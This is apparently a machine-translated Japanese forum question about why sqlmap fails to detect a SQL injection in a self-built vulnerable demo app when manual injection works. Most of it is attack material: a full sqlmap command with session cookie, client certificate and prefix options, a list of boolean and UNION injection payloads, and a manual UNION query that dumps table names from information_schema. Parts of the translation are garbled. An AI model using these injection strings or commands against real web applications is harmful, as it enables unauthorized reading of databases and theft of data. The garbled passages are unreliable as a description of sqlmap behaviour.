SQLインジェクションを示すために、脆弱なWebアプリケーションを作成しました。手動注入と自動注入の両方を表示します。インジェクションでは、a)ユーザーがログインしている(セッションCookie)、b)ユーザーのSSL証明書、c)PREFIXが必要です。
私のコマンドは:
python ./sqlmap.py --auth-file ~/welcomecert.p12 -u "http://komodobank.com/index.php?profile=adminsnowball" -p profile --cookie="PHPSESSID=sp1222aplv64fok7pa7voe447" --prefix="adminsnowball'" -v 3 --dbms mysql --level 5 --risk 3 --union-cols 10-16
SQLmapが機能していないことがわかりますが、フィールドが挿入可能であることがわかりません。
このような手動注入は機能します:
http://vulnapp.com/index.php?profile=admin' or '1'='1
SQLmapが失敗する原因となる可能性があるもの:
UNION
は十分なフィールドをテストしていない可能性がありますAND 3347=7762
ではなくAND '3347'='7762
AND
ではなくOR
(テストされているOR
sが見えません)GET
要求がJSに渡され、JSがサーバーからのデータを受け取ります。おそらく、SQLmapに対する応答が失われますか?以下は、それがテスト中であることを確認できるクエリの一部ですが、明らかにそれらはすべて失敗します。
[PAYLOAD] admin' AND 3115=1602 AND (3320=3320
[PAYLOAD] admin' AND 5213=5213 AND (8263=8263
[PAYLOAD] admin' AND 3347=7762
[PAYLOAD] admin' AND 5213=5213
[PAYLOAD] admin' ORDER BY 1--
[PAYLOAD] admin' ORDER BY 3421--
[PAYLOAD] admin' UNION ALL SELECT NULL--
[PAYLOAD] admin' UNION ALL SELECT NULL,NULL--
[PAYLOAD] admin' UNION ALL SELECT NULL,NULL,NULL--
[PAYLOAD] admin' UNION ALL SELECT NULL,NULL,NULL,NULL--
編集:このクエリは手動でも機能します:
' union select table_name,2,3,4,5,6,7,8,9,10,11,12 from information_schema.tables where 'x'='x
ただし、SQLmapはそのような共用体をテストしていないようです。